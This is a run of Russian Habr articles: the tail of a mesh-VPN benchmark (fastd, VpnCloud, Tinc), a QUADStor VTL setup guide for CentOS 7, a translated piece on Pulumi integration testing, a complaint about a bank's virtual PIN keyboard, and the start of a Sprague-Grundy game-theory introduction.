- 198.51.100.11:3210
- 203.0.113.13:3210
peer-timeout: 600
mode: switch
switch-timeout: 600
# claims:
# - 172.16.0.0/24
port-forwarding: false
user: nobody
group: nogroup
```
Как и для предыдущего участника теста, изучаем Unit systemd пакета:
```
sudo systemctl cat vpncloud@.service
```
**Что получилось**
```
[Unit]
Description=VpnCloud network '%I'
After=network-online.target
Wants=network-online.target
PartOf=vpncloud.target
Documentation=man:vpncloud(1)
[Service]
Type=forking
ExecStart=/usr/bin/vpncloud --config /etc/vpncloud/%i.net --log-file /var/log/vpncloud-%i.log --stats-file /var/log/vpncloud-%i.stats --daemon --daemon --pid-file /run/vpncloud-%i.pid
PIDFile=/run/vpncloud-%i.pid
WorkingDirectory=/etc/vpncloud
RestartSec=5s
Restart=on-failure
TasksMax=10
MemoryMax=50M
PrivateTmp=yes
ProtectHome=yes
ProtectSystem=strict
ReadWritePaths=/var/log /run
CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE CAP_NET_RAW CAP_SETGID CAP_SETUID CAP_SYS_CHROOT
DeviceAllow=/dev/null rw
DeviceAllow=/dev/net/tun rw
[Install]
WantedBy=multi-user.target
```
Запускаем его и задействуем старт при включении сервера:
```
sudo systemctl enable --now vpncloud@vpntest.service
```
Проверяем журнал:
```
sudo journalctl -u vpncloud@vpntest.service --no-pager | tail -3
мар 03 15:48:36 vpncloud[21820]: INFO - Crypto speeds: AES_128_GCM: 3495.9 MiB/s, AES_256_GCM: 3128.9 MiB/s, CHACHA20_POLY1305: 2011.0 MiB/s
мар 03 15:48:36 vpncloud[21820]: INFO - Running process as daemon
мар 03 15:48:36 systemd[1]: Started VpnCloud network 'vpntest'.
```
Теперь все готово для замера скорости в iperf.
```
peer-01>iperf -c 172.16.0.12 -e -t 1800 -i 60 -o iperf_vpncloud_btest.txt
peer-02>iperf -s
```
**Результат (представлены только полезные данные):**
```
cat iperf_vpncloud_btest.txt
>------------------------------------------------------------
Client connecting to 172.16.0.12, TCP port 5001 with pid 153600 (1 flows)
Write buffer size: 131072 Byte
TOS set to 0x0 (Nagle on)
TCP window size: 45.0 KByte (default)
------------------------------------------------------------
[ 1] local 172.16.0.11%mesh-vpn-0 port 42620 connected with 172.16.0.12 port 5001 (MSS=1361) (sock=3) (irtt/icwnd=400/13) (ct=0.42 ms) on 2022-03-03 16:04:08 (MSK)
[ ID] Interval Transfer Bandwidth Write/Err Rtry Cwnd/RTT(var) NetPwr
[ 1] 0.00-60.00 sec 6.23 GBytes 892 Mbits/sec 51056/0 300 1133K/10113(61) us 11029
[ 1] 60.00-120.00 sec 6.25 GBytes 894 Mbits/sec 51162/0 252 1031K/9197(102) us 12152
[ 1] 0.00-120.04 sec 12.5 GBytes 893 Mbits/sec 102219/0 552 1034K/10616(2769) us 10514
```
Результат идентичен показателям fastd в пределах погрешности.
Tinc
----
Tinc — весьма популярный проект. Готовые бинарные пакеты присутствуют, пожалуй, во всех дистрибутивах Linux и BSD. Для RHEL-based дистрибутивов собранный пакет присутствует в [EPEL](https://docs.fedoraproject.org/en-US/epel/), для Ubuntu — в universe.
Для AlmaLinux и CentOS убеждаемся, что EPEL задействован и ставим пакет:
```
sudo yum -y install epel-release && (yum repolist | grep -i epel)
sudo yum -y install tinc
```
Для Ubuntu/Debian устанавливаем с помощью пакетного менеджера APT:
```
sudo apt-get --yes install tinc
```
Посмотрим, какой systemd-юнит нам предлагает мейнтейнер пакета:
```
sudo systemctl cat tinc@.service
[Unit]
Description=Tinc net %i
Documentation=info:tinc
Documentation=man:tinc(8) man:tinc.conf(5)
Documentation=http://tinc-vpn.org/docs/
PartOf=tinc.service
ReloadPropagatedFrom=tinc.service
[Service]
Type=simple
WorkingDirectory=/etc/tinc/%i
EnvironmentFile=/etc/default/tinc
ExecStart=/usr/sbin/tincd -n %i -D $EXTRA
ExecReload=/usr/sbin/tincd -n %i -kHUP
KillMode=mixed
Restart=on-failure
RestartSec=5
TimeoutStopSec=5
[Install]
WantedBy=tinc.service
```
Создаем каталог и конфигурационный файл в нем:
```
sudo mkdir -p /etc/tinc/vpntest/hosts && sudo touch /etc/tinc/vpntest/tinc.conf
```
Генерируем ключи:
```
sudo tincd -n vpntest -K
Generating 2048 bits keys:
.........+++++ p
.............................................................................+++++ q
Done.
Please enter a file to save private RSA key to [/etc/tinc/vpntest/rsa_key.priv]:
Please enter a file to save public RSA key to [/etc/tinc/vpntest/rsa_key.pub]:
```
Создадим конфигурацию. Для примера здесь приведена конфигурация Tinc на peer-01:
`sudo cat /etc/tinc/vpntest/tinc.conf`
```
Mode = switch
Name = peer01
Interface = mesh-vpn
AddressFamily = ipv4
Cipher = aes-256-cbc
PMTUDiscovery = yes
ConnectTo = peer02
ConnectTo = peer03
```
Затем в папке /etc/tinc/vpntest/hosts нужно создать конфигурационные файлы для других участников mesh-сети с сгенерированными публичными ключами (даны для примера, в production не используются и не должны использоваться).
**Пример для peer-01**
```
sudo cat /etc/tinc/vpntest/hosts/peer02
Address = 192.0.2.12
Subnet = 172.16.0.0/24
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAwrGjie2YhqFp+iEe57IHPMeUCILEeQbogbamQVV+0fQeaiqLFjcu
zKEu8FRAQL+e+bxBTZXH0oC0b6FzjYQYv46ag4PyMJUVZyOmonAhBavH74IC5hL1
mOadCS4GCJQiyKqPF9T+oXvUIUwmzUpzMYsSgetEYQYVzl1DH0b6L06Pc2OTuHEb
3LLF0cv1OuZFKDo7rgUxylySxd5WmS3Y1lr+8jOxyMNfJOuy7BgLwADakK6Xem46
J0NbniLBza+B2e/3A7XqVgwb5bbN1QLPubvzkHyNXYEAv17GoDCAwJGJNDUREv+P
WHc/6K+QhdAxRjzY2KA34EAFSujaVP6aKQIDAQAB
-----END RSA PUBLIC KEY-----
```
```
sudo cat /etc/tinc/vpntest/hosts/peer03
```
```
Address = 203.0.113.13
Subnet = 172.16.0.0/24
-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAuT1Ddm3zDeGJVDorTnIJ0WoldNaLB318cje8fPb8Gsyu5IcEqQSr
lZJyGhci1aGXbeXox3Pz+VKxCG1LXf7lwhH1I4TdvWbncTT5JpR+3HzWN9Km9pJ4
Sjeco2GMx8urNpfgeKcJJ1/bZpo2oZUVRkeWa6pBtxQXpInzsIYIhxywtDz922nV
4NldkrjLMy0M14ZHQiT3LyWpbUlYz/Y514Rx5T/tRvWFPF9iXcwcaYkmmHMGMO7Z
kdJ4JixLfQGSVccNzT+MyHb3VN7y5mKWyhwfF7GHycmVyXJ4iPJs/RP9PPMdL28f
bpKyGCam9gWF07F05vHkdzV5liWtAjy+OQIDAQAB
-----END RSA PUBLIC KEY-----
```
Создаем скрипт, который будет выполняться при запуске tincd:
`sudo touch /etc/tinc/vpntest/tinc-up && sudo chmod +x /etc/tinc/vpntest/tinc-up`
со следующим содержимым (пример: опять же, для peer-01, для peer-02 и peer-03 вносятся соответствующие сетевой схеме адреса):
```
cat /etc/tinc/vpntest/tinc-up
#!/bin/sh
ip link set dev $INTERFACE up
ip addr add 172.16.0.11/24 dev $INTERFACE
```
Запускаем сервис и проверяем:
```
sudo systemctl enable --now tinc@vpntest.service
sudo journalctl -u tinc@vpntest.service --no-hostname --no-pager | tail -4
мар 03 18:21:29 systemd[1]: Started Tinc net vpntest.
мар 03 18:21:29 tincd[1539909]: tincd 1.0.36 starting, debug level 0
мар 03 18:21:29 tincd[1539909]: /dev/net/tun is a Linux tun/tap device (tap mode)
мар 03 18:21:29 tincd[1539909]: Ready
```
Тестируем задержки и скорость передачи данных через туннель:
```
peer-01>iperf -c 172.16.0.12 -e -t 1800 -i 60 -o iperf_tinc_btest.txt
peer-02>iperf -s
```
**Получившийся результат**
```
peer-01>cat iperf_tinc_btest.txt
------------------------------------------------------------
Client connecting to 172.16.0.12, TCP port 5001 with pid 15407 (1 flows)
Write buffer size: 131072 Byte
TOS set to 0x0 (Nagle on)
TCP window size: 45.0 KByte (default)
------------------------------------------------------------
[ 1] local 172.16.0.11%mesh-vpn port 42670 connected with 172.16.0.12 port 5001 (MSS=1385) (sock=3) (irtt/icwnd=474/13) (ct=0.61 ms) on 2022-03-03 18:42:45 (MSK)
[ ID] Interval Transfer Bandwidth Write/Err Rtry Cwnd/RTT(var) NetPwr
[ 1] 0.00-60.00 sec 5.42 GBytes 776 Mbits/sec 44390/0 3209 489K/5152(68) us 18822
[ 1] 60.00-120.00 sec 5.45 GBytes 780 Mbits/sec 44641/0 2692 403K/3807(116) us 25616
[ 1] 0.00-120.05 sec 10.9 GBytes 778 Mbits/sec 89032/0 5901 409K/4249(132) us 22878
```
Скорость у Tinc заметно «просела», а задержки оказались выше.
Результаты
----------
**Скорость передачи данных.** Первое место между собой поделили VpnCloud и fastd, Tinc — на втором месте.
**Стабильность работы.** Все программы работали стабильно: ошибок, аварийных завершений и утечек памяти во время тестирования не наблюдалось. Все участники теста разделили первое (или последнее третье, если угодно) место.
**Простота, удобство настройки.** Этот пункт для оценки достаточно субъективный. Мне показалось, что fastd гибче в настройке, так как позволяет создать как монолитную конфигурацию, так и «разнести» по отдельным файлам.
Также для fastd был создан Ansible Playbook для его массового развертывания и настройки. Если эта тема интересна — могу написать отдельную статью или добавить ссылку в GitHub gists без подробного разбора.
Из плюсов — VpnCloud поддерживает beaconing. Это позволяет облегчить конфигурирование, но я его не использовал ни в тестировании, ни в production, так как ни в одном из случаев не было большого количества узлов.
**Кроссплатформенность, наличие готовых пакетов.** Как уже было упомянуто, пакеты собраны для всех распространенных дистрибутивов Linux. Но что касается других платформ (Windows, MacOS X, BSD), то тут Tinc — безусловный лидер. На втором месте — fastd (без поддержки Windows), а на третьем — VpnCloud, который на данный момент поддерживает только Linux.
**Документация.** Выскажу субъективное мнение. Считаю, что документация fastd лучше структурирована, используется [Read the Docs](https://readthedocs.org/) со всеми вытекающими. Безусловно, стоит отметить VpnCloud. Документация Tinc хороша, если рассматривать ее с точки зрения принципа [KISS](https://ru.wikipedia.org/wiki/KISS_(%D0%BF%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF)): вся нужная информация в одном man-файле. Отдаю приз fastd, а второе место делят VpnCloud и Tinc.
| Место | ПО | Версия | ЯП | Поддержка ОС Linux/Windows/BSD | Транспортные протоколы | Выбор алгоритма шифрования данных | Алгоритм(-ы) шифрования передаваемых данных |
| --- | --- | --- | --- | --- | --- | --- | --- |
| 1 | fastd | v22 | C | да/нет/да | UDP | вручную | AES-256, AES-128, ChaCha20 |
| 2 | VpnCloud | 2.3.0 | Rust | да/нет/нет | UDP | авто | AES-128-CTR, Salsa20, Salsa2012 |
| 3 | Tinc | 1.0.36 | C | да/да/да | UDP+TCP | вручную | AES-256 (все поддерживаемые OpenSSL) |
Что в итоге
-----------
По результатам тестирования был выбран fastd, который и был использован в проекте.
Демоны fastd были сконфигурированы на всех серверах и при старте добавлялись в уже работающие мосты с предварительно настроенным MTU 1 400 байт, которые использует libvirtd, настроена сеть на серверах с Docker. После чего была осуществлена миграция виртуальных машин и persistent-данных для контейнеров. В эксплуатации новая информационная система находится с апреля текущего года и проблем с сетью и стабильностью работы мы не наблюдаем. Стоит отметить, что такое решение можно при необходимости использовать и в Proxmox VE.
Нам удалось предоставить клиенту кастомное решение, которое полностью закрывало его потребности во время миграции. Для этого пришлось проделать исследование и провести ряд тестов, что положительно сказалось на результате и комфорте эксплуатации проекта. | https://habr.com/ru/post/697128/ | null | ru | null |
# Настраиваем VTL под Centos 7
Однажды так случилось, что понадобилось протестировать СРК с ленточной библиотекой. Все бы хорошо, но ленточной библиотеки под руками не нашлось, а просить знакомого заказчика о таком крайне не хотелось. И вот тут-то и пришла идея о создании тестовой инфраструктуры с VTL.
Вариантов достаточно много, но я остановился на [**VTL от QUADStor**](http://www.quadstor.com/vtl-extended-edition-downloads.html). К достоинствам данного продукта следует отнести:
* Интуитивно понятный Web интерфейс.
* Простота установки.
* Встроенный iSCSI Target.
* Возможность создание лент произвольного объема.
**Все операции выполнялись на Centos 7 установленном в минимуме**
**CentOS-7-x86\_64-Minimal-1611.iso**Mem:1024 MB
/boot 384MB
/ 2711MB
Подготовим OS (установим vm tools и обновим все пакеты):
```
yum -y install open-vm-tools
yum -y upgrade
shutdown -r now
```
Установим необходимые для **QUADStor VTL** зависимости:
```
yum -y install httpd gcc perl kernel-devel sg3_utils policycoreutils-python
```
Произведем настройку SELinux:
```
setsebool -P httpd_enable_cgi 1
semanage permissive -a httpd_t
```
Настроим FirewallD (открываем 80 порт — для http, ну а 3260 — для iscsi):
```
firewall-cmd --permanent --add-port=80/tcp
firewall-cmd --permanent --add-port=3260/tcp
firewall-cmd --reload
```
Настроим автозапуск и запустим httpd:
```
systemctl enable httpd.service
systemctl start httpd.service
```
Скачаем, установим и запустим **QUADStor VTL**:
```
curl -O http://www.quadstor.com/vtlextdownloads/quadstor-vtl-ext-3.0.15-rhel6.x86_64.rpm
yum -y localinstall quadstor-vtl-ext-3.0.15-rhel6.x86_64.rpm
systemctl start quadstorvtl.service
```
**Концепт построения объектов в *QUADStor VTL* довольно-таки прост:**
* Диски доступные серверу добавляются в Pool'ы.
* В Pool'ах создаются виртуальные ленты.
* Вся конфигурация хранится в PostgreSQL (каталог /quadstorvtl/pgsql).
**Немного фактов:**
1. Дедупликация — inline.
2. Добавить можно только неразмеченные диски.
3. Диск >= 4.8GB — если это первый диск добавленный в Pool, содержащий deduplication metadata.
4. Диск >= 4GB — во всех остальных случаях.
5. Дедупликация работает только в пределах Pool'а.
**Web интерфейс**
Получим доступ перейдя по следующей ссылке:
```
http:///vtindex.html
```
Добавим диск в Default Storage Pool
* Перейдем во вкладку Physical Storage.
* Нажмем ссылку Add напротив требуемого диска.
* Выберем Default Storage Pool.
Создадим VTL, VDrive и VCartridge
* Перейдем во вкладку Virtual Libraries.
* Нажмем кнопку «Add VTL».
* Настроим *что-нибудь простенькое*.
* Нажмем кнопку «Submit».
* Завершим «Add VTL».
* Приступим к созданию виртуальных лент — «Add VCartridge».
* «Submit».
При этом, размер лент будет соответствовать типу выбранного ленточного привода (Ultrium4 = 800 GB).
Если требуется установить произвольный размер, то это можно сделать создав файл:
```
/quadstorvtl/etc/quadstor.conf
```
с содержимым:
```
MaxVCartSize=2
```
Размер указан в GB.
Перезапуск сервиса не потребуется, а все вновь созданные ленты будут иметь заданный размер.
**На этом первичная настройка QUADStor VTL считается выполненной**. И можно подключить созданный VTL и приводы к хостам.
Можно пользоваться. | https://habr.com/ru/post/324192/ | null | ru | null |
# Тестирование инфраструктуры как код с помощью Pulumi. Часть 2
Всем привет. Сегодня делимся с вами заключительной частью статьи [«Тестирование инфраструктуры как код с помощью Pulumi»](https://habr.com/ru/company/otus/blog/463001/), перевод которой подготовлен специально для студентов курса [«DevOps практики и инструменты»](https://otus.pw/pKUB/).
### Тестирование развертывания
Рассмотренный стиль тестирования — это мощный подход, он позволяет нам проводить тестирование белого ящика для проверки внутренностей работы нашего инфраструктурного кода. Однако он несколько ограничивает то, что мы можем проверить. Тесты выполняются на основе in-memory плана развертывания, созданного Pulumi перед непосредственным развертыванием и поэтому само развертывание не протестировать. Для таких случаев в Pulumi есть фреймворк интеграционных тестов. И эти два подхода отлично работают вместе!
Фреймворк интеграционного тестирования Pulumi написан на Go, и именно с его помощью мы тестируем большую часть нашего внутреннего кода. Если рассмотренный ранее подход модульного тестирования был больше похож на тестирование белого ящика, то интеграционное тестирование — это черный ящик. (Есть также варианты тщательного внутреннего тестирования.) Этот фреймворк был создан для того, чтобы взять полную Pulumi-программу и выполнить для нее различные операции жизненного цикла, такие как развертывание нового стека с нуля, его обновление с вариациями и удаление, возможно несколько раз. Мы запускаем их регулярно (например, ночью) и в качестве стресс-тестов.
(Мы [работаем над тем](https://github.com/pulumi/pulumi/issues/2287), чтобы аналогичные возможности интеграционного тестирования были в родном SDK языков. Вы можете использовать фреймворк интеграционного тестирования Go независимо от языка, на котором написана ваша Pulumi-программа).
Запустив программу с помощью этого фреймворка вы можете проверить следующее:
* Код вашего проекта синтаксически правильный и работает без ошибок.
* Настройки конфигурации стека и секретов работают и интерпретируются правильно.
* Ваш проект может быть успешно развернут в выбранном вами облачном провайдере.
* Ваш проект может быть успешно обновлен с начального состояния до N других состояний.
* Ваш проект может быть успешно уничтожен и удален из вашего облачного провайдера.
Как мы скоро увидим, этот фреймворк можно использовать также для выполнения runtime-валидации.
#### Простой интеграционный тест
Чтобы увидеть это в действии, мы посмотрим на репозиторий `pulumi/examples`, так как наша команда и сообщество Pulumi, использует его для тестирования собственных пул реквестов, коммитов и ночных сборок.
Ниже приведен упрощенный тест нашего [примера, который делает провиженинг S3 bucket и некоторых других объектов](https://github.com/pulumi/examples/tree/master/aws-js-s3-folder):
#### example\_test.go:
```
package test
import (
"os"
"path"
"testing"
"github.com/pulumi/pulumi/pkg/testing/integration"
)
func TestExamples(t *testing.T) {
awsRegion := os.Getenv("AWS_REGION")
if awsRegion == "" {
awsRegion = "us-west-1"
}
cwd, _ := os.Getwd()
integration.ProgramTest(t, &integration.ProgramTestOptions{
Quick: true,
SkipRefresh: true,
Dir: path.Join(cwd, "..", "..", "aws-js-s3-folder"),
Config: map[string]string{
"aws:region": awsRegion,
},
})
}
```
Этот тест проходит через базовый жизненный цикл создания, изменения и уничтожения стека для папки `aws-js-s3-folder`. Он займет около минуты, чтобы сообщить о пройденном тесте:
```
$ go test .
PASS
ok ... 43.993s
```
Есть много параметров для настройки поведения этих тестов. Полный список опций см. [в структуре](https://godoc.org/github.com/pulumi/pulumi/pkg/testing/integration#ProgramTestOptions) `ProgramTestOptions`. Например, вы можете настроить Jaeger endpoint для трассировки (`Tracing`), указать, что ожидаете падения теста при негативном тестировании (`ExpectFailure`), применить серию “правок” к программе для последовательного перехода состояний (`EditDirs`) и многое другое. Давайте посмотрим, как использовать их для проверки развертывания приложения.
#### Проверка свойств ресурсов
Интеграция, о которой говорили выше, гарантирует, что наша программа «работает» — она не падает. Но что, если мы хотим, проверить свойства полученного стека? Например, что определенные виды ресурсов были (или не были) подготовлены и что они имеют определенные атрибуты.
Параметр `ExtraRuntimeValidation` для `ProgramTestOptions` позволяет нам посмотреть на состояние, зафиксированное Pulumi после развертывания (post-deployment state), чтобы мы могли сделать дополнительные проверки. Сюда входит полный снимок состояния результирующего стека, включая конфигурацию, экспортируемые выходные значения, все ресурсы и значения их свойств, а также все зависимости между ресурсами.
Чтобы увидеть базовый пример этого, давайте проверим, что наша программа создает один **S3 Bucket**:
```
integration.ProgramTest(t, &integration.ProgramTestOptions{
// as before...
ExtraRuntimeValidation: func(t *testing.T, stack integration.RuntimeValidationStackInfo) {
var foundBuckets int
for _, res := range stack.Deployment.Resources {
if res.Type == "aws:s3/bucket:Bucket" {
foundBuckets++
}
}
assert.Equal(t, 1, foundBuckets, "Expected to find a single AWS S3 Bucket")
},
})
```
Теперь, когда мы запустим go test, он не только пройдет через батарею тестов жизненного цикла, но также, после успешного развертывания стека, выполнит дополнительную проверку результирующего состояния.
### Runtime-тесты
До сих пор все тесты были исключительно о поведении при развертывании и о модели ресурсов Pulumi. Что делать, если вы хотите проверить, что ваша подготовленная инфраструктура действительно работает? Например, что виртуальная машина работает, S3 bucket содержит то, что мы ожидаем, и так далее.
Вы, возможно, уже догадались, как это сделать: опция `ExtraRuntimeValidation` для `ProgramTestOptions` — это отличная возможность для этого. На этом этапе вы запускаете произвольный тест Go с доступом к полному состоянию ресурсов вашей программы. Это состояние включает в себя такую информацию, как IP-адреса виртуальных машин, URL-адреса и все, что необходимо для реального взаимодействия с полученными облачными приложениями и инфраструктурой.
Например, наша тестовая программа экспортирует свойство `webEndpoint` bucket'а под названием `websiteUrl`, которое представляет собой полный URL-адрес, по которому мы можем получить настроенный `index document`. Хотя мы могли бы покопаться в файле состояния, чтобы найти `bucket` и прочитать это свойство напрямую, но во многих случаях наши стеки экспортируют полезные свойства, такие как это, которые нам удобно использовать для проверки:
```
integration.ProgramTest(t, &integration.ProgramTestOptions{
// as before ...
ExtraRuntimeValidation: func(t *testing.T, stack integration.RuntimeValidationStackInfo) {
url := "http://" + stack.Outputs["websiteUrl"].(string)
resp, err := http.Get(url)
if !assert.NoError(t, err) {
return
}
if !assert.Equal(t, 200, resp.StatusCode) {
return
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if !assert.NoError(t, err) {
return
}
assert.Contains(t, string(body), "Hello, Pulumi!")
},
})
```
Как и наши предыдущие runtime-проверки, эта проверка будет выполняться сразу после поднятия стека, и все это в ответ на простой вызов `go test`. И это только вершина айсберга — доступны все тестовые возможности Go, которые вы можете написать в коде.
### Непрерывная интеграция инфраструктуры
Хорошо иметь возможность запускать тесты на ноутбуке, когда делается много изменений в инфраструктуре, для их проверки перед отправкой на ревью кода. Но мы и многие наши клиенты тестируем инфраструктуру на различных этапах жизненного цикла разработки:
* В каждом открытом пул реквесте для теста перед слиянием.
* В ответ на каждый коммит, чтобы перепроверить, что слияние было выполнено правильно.
* Периодически, например, ночью или еженедельно для дополнительного тестирования.
* В рамках тестирования производительности или стресс-тестирования, которые обычно выполняются в течение длительного периода времени и запускают тесты параллельно и/или развертывают одну и ту же программу несколько раз.
Для каждого из них Pulumi поддерживает интеграцию с вашей любимой системой непрерывной интеграции. При непрерывной интеграции это дает вам такое же покрытие тестами для вашей инфраструктуры, как и для прикладного программного обеспечения.
В Pulumi есть поддержка распространенных CI-систем. Вот некоторые из них:
* [AWS Code Services](https://pulumi.io/reference/cd-aws-code-services.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)
* [Azure DevOps](https://pulumi.io/reference/cd-azure-devops.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)
* [CircleCI](https://pulumi.io/reference/cd-circleci.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)
* [GitHub Actions](https://pulumi.io/reference/cd-github-actions.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)
* [GitLab CI](https://pulumi.io/reference/cd-gitlab-ci.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)
* [Google Cloud Build](https://pulumi.io/reference/cd-google-cloud-build.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)
* [Travis](https://pulumi.io/reference/cd-travis.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)
Для получения более подробной информации обратитесь к документации по [Continuous Delivery](https://pulumi.io/reference/cd.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294).
### Эфемерные окружения
Очень мощная возможность, которая открывается — это возможность разворачивать эфемерные окружения исключительно для целей приемочного тестирования. Концепция [проектов и стеков](https://pulumi.io/reference/organizing-stacks-projects.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294) Pulumi разработана таким образом, чтобы легко развертывать и сносить полностью изолированные и независимые окружения, все в несколько простых команд CLI или с помощью фреймворка интеграционного тестирования.
Если вы используете GitHub, то Pulumi предлагает [GitHub App](https://pulumi.io/reference/cd-github.html?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294), которое поможет вам подключить приемочное тестирование к пул реквестам внутри вашего CI-пайплайна. Просто установите приложение в репозиторий GitHub, а Pulumi в ваш CI и в пул реквесты будет добавляться информация о превью инфраструктуры, обновлениях и результатах тестирования:
При использовании Pulumi для ваших основных приемочных тестов, у вас появятся новые возможности автоматизации, которые улучшат производительность команды и придадут уверенность в качестве изменений.
### Итог
В этой статье мы увидели, что, при использовании языков программирования общего назначения, нам становятся доступны многие методы разработки программного обеспечения, которые были полезны при разработке наших приложений. Они включают в себя модульное тестирование, интеграционное тестирование, а также их взаимодействие для проведения обширного runtime-тестирования. Тесты легко запускать по требованию или в вашей CI-системе.
**Pulumi** — программное обеспечение с открытым исходным кодом, оно бесплатно для использования и работает с вашими любимыми языками программирования и облаками — [попробуйте его сегодня](https://pulumi.io/?__hstc=194006706.5ec8367a995840498b3561a1d1c24020.1557843704557.1557843704557.1558639635280.2&__hssc=194006706.1.1558639635280&__hsfp=36099294)!
→ [Первая часть](https://habr.com/ru/company/otus/blog/463001/) | https://habr.com/ru/post/463637/ | null | ru | null |
# Безопасность vs юзабилити by Росбанк
С недавних пор Росбанк решил поднять уровень безопасности своего интернет-клиента.
Специалисты Росбанка, решив обезопасить своих клиентов от клавиатурных шпионов, придумали использовать виртуальную клавиатуру для ввода так называемого ПИН2, и реализовав ее с особым наплевательством к удобству и внешнему ее виду.
Итак, по порядку.
Сперва с их интернет-клиентом казалось бы, все было более-менее хорошо. Вводишь номер карты и срок действия, ПИН2 — и вуаля, можешь видеть движение средств на счете. Неахти какой функционал — но вполне себе хорошо, учитывая что совершенно бесплатно. За дополнительную плату можно подключить полноценный интернет-банк, с возможностью в онлайне оплачивать счета и т.п.
Некоторое время назад, они разместили [сообщение](https://ibank.rosbank.ru/?), в котором говорится об угрозах, подстерегающих в сети, в частности, о «вирусах-шпионах (троянских программах)».
И изменили окно авторизации, запретив ввод в поле ПИН2 с клавиатуры, и разместили виртуальную клавиатуру, о которой стоит поговорить отдельно.
Когда я первый раз ее увидел было жуткое презрение к этому творению — криворасположенные убожественные кнопочки наимельчайшего размера, чтобы не промахнуться нужно напрягать зрение и целиться в них. Длина ПИН2 — 16 символов (слава богу, что не больше).
Ну чтож, подумал я тогда, делать нечего — надо вводить. Ввел. Ентер. Неверно. Ну бывает, ошибся. Ввел три раза, со всей имеющейся во мне аккуратностью и педантичностью — нифига. Уже было начал сомневаться в своих способностях. Когда вводил четвертый раз заметил, что не при всяком щелчке в поле пароля звездочки появляются — т.е. кнопки срабатывают через раз! Собрав все свое терпение и спокойствие, прицеливаемся в кнопку, фокусируемся на поле ввода, чтобы не пропустить удлинение ряда звездочек, слившихся в одну линию, щелкаем. Если не удлинился — щелкаем еще раз, следя за тем, чтобы мышка не сместилась. Смотрим какой следующий символ по бумажке. Рука немного запотела от кропотливой работы, глаза едва не слезятся. Муторно, постоянно переводишь взгляд с экрана на бумажку, легко запутаться. Ну зачем, скажите мне, делать кнопочки такими крохотными, при том что бОльшая часть страницы пустует?? За восемь секунд набрал пароль в блокноте (ау, клавиатруные шпионы-трояны! прощай, безопасность!), расположил окна рядом, разделил на группы. Вобщем, победил, зашел, посмотрел что надо, забыл.
Итого: Толку-то от этой клавитурной защиты, если я ввел свой пин2 пусть в другую программу, но клавиатурой. Ну да ладно.
Раньше я частенько пользовался этим интернет-клиентом, проверял свои доходы, контролировал расходы — весьма удобно, если расплачиваться везде картой.
Но после знакомства с этой клавиатурой заходить лишний раз туда желания никак не было.
Подсознательно, зная что тебя ждет, стараешься этого избегать.
И вот сегодня, надо было проверить сколько списали за несколько покупок через paypal. Ох… Но делать нечего…
Итак, захожу на страницу логина… ooops, что-то пошло не так…
Сколько поэтичности в сообщении, как оно слажено и грамотно написано…
Заголовок «ПОВТОРНО !!!»… Капс, три восклицания… Эмоций — через край… Но что повторно-то? Зайти повторно? обновить страницу? Нажимаем Ok — жаваскрипт нахально закрывает окно. Супер. Невежливо, грубо по отношению к пользователю.
Пытаемся в хроме… та же петрушка:
Пытаемся в ФФ:
Что-то новенькое… Но воз и ныне там — состояние счета не узнать.
После нескольких попыток IE выдает тоже, что и ФФ, но все же в конце концов система рожает результат.
Слава тебе, Господи…
###### Резюме
Не знаю, насколько виртуальная клавиатура повышает безопасность — но пользоваться ею в таком виде совершенно неудобно.
Зачем делать ВСЮ клавиатуру? Сами же в "[Справке](https://ibank.rosbank.ru/help.aspx?mode=enterpin)" пишете:
`ПИН2-код представляет собой 16-значный буквенно-цифровой код, который содержит только следующие символы:
•латинские буквы: A, B, C, D, E, F;
•цифры: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9.`
Зачем все остальные клавиши? Чтобы запутать? Чтобы дольше вбивать?
Как уже говорилось выше, зачем делать кнопочки такими крохотными, при том что бОльшая часть экрана пустует?
Почему функция «сохранения пин2 в файл», которая могла бы, в принципе, спасти ситуацию, запрятана в меню «сервис»? Почему мне сразу после корректного ввода не предлагается это сделать?
Боже, дай этим людям хоть немного мозгов и гуманности. | https://habr.com/ru/post/99758/ | null | ru | null |
# Теория Игр и функция Шпрага-Гранди
Доброго времени суток, уважаемое Хабрасообщество.
В последнее время все большее и большее распространение получает олимпиадное программирование, неотъемлемой частью которого является знание алгоритмов (и, разумеется, умение их применять).
Я хочу рассказать вам основы теории Игр, доказать функцию Шпрага-Гранди, разобрать несколько классических impartial-задач и проиллюстрировать их кодом на python.
#### Вместо предисловия
Поиск по Хабрахабру показал, что про функцию Шпрага-Гранди [уже писали](http://habrahabr.ru/blogs/personal/101105/). К сожалению, очень мало и не очень понятно для человека, прежде с теорией Игр не сталкивавшегося. Я постараюсь раскрыть эту тему пошире.
